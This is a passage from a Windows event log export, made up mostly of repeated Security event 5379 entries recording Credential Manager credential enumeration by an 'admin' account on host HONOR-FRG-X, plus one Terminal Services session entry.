Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.550\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.550\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.552\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.552\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.605\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.607\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.607\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.607\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.609\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x2208 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:52:56.609\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.039\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.040\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.040\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.040\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.040\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.040\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.042\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.042\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.042\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.048\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.048\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.048\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.048\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.049\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.049\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.049\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.049\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.049\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.049\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.050\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.050\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.050\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.054\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.056\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.056\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.056\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.056\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.056\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.057\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.057\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.073\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.073\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity 